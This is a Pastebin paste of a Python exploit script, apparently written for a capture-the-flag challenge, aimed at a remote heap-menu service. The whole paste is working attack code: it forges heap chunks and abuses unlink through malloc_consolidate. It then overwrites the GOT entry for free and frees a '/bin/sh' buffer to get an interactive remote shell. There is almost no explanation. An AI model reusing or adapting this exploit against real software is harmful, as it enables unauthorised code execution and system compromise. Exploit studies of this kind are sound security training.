Guest User

Untitled

a guest
Apr 22nd, 2018
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Author : peternguyen
  3.  
  4. from Pwn import *
  5.  
  6. p = Pwn(mode=1,host='47.75.128.158',port=9999)
  7.  
  8. def alloc(name,type):
  9. p.sendint(1)
  10. p.sendint(type)
  11. p.send(name)
  12.  
  13. def free(idx):
  14. p.sendint(2)
  15. p.sendint(idx)
  16.  
  17. def edit(idx,name,data):
  18. p.sendint(3)
  19. p.sendint(idx)
  20. p.send(name)
  21. p.send(data)
  22.  
  23. def exploit(**kargs):
  24. global p # use global var
  25. if kargs.has_key('p'):
  26. if kargs['p'].__class__.__name__ == 'Pwn': # is pwn object
  27. p = kargs['p']
  28. p.connect()
  29.  
  30. t = p.pA(0, 0x21)
  31. t = t.ljust(47,'X')
  32. # raw_input('Debug>')
  33. alloc('A'*7,1) #0
  34. alloc('B'*7,2) #1
  35. alloc('C'*7,1) #2
  36.  
  37. edit(1,'R'*7,t)
  38.  
  39. free(0)
  40. t = p.pA(0,0x21)
  41. t+= '\x00'*8
  42. t = t.ljust(47,'A')
  43. edit(0,p.pack(0x602120)[:-1],t)
  44. alloc('A'*7,1)
  45. alloc('B'*7,1)
  46.  
  47. free(0)
  48.  
  49. t = p.pA(0,0x11) + '\x00'*8 + p.pack(0x00)
  50. t+= p.pack(0x6020c8) + p.pack(0x6020d0)[:-1]
  51. edit(0,p.pack(0x602120)[:-1],t)
  52.  
  53. alloc('A'*7,1)
  54.  
  55. alloc('A'*7,13337) # trigger malloc_consolidate
  56. # abuse unlink forward_chunk to overwrite
  57. # pigs list
  58.  
  59. p.send('a')
  60. # raw_input('>')
  61. edit(4,p.pack(0x602018)[:-1],t) # free_got
  62. edit(1,p.pack(0x04006E0)[:-1],t)
  63. edit(0,'/bin/sh',t)
  64.  
  65. free(0)
  66.  
  67. p.io()
  68.  
  69. exploit()
Add Comment
Please, Sign In to add comment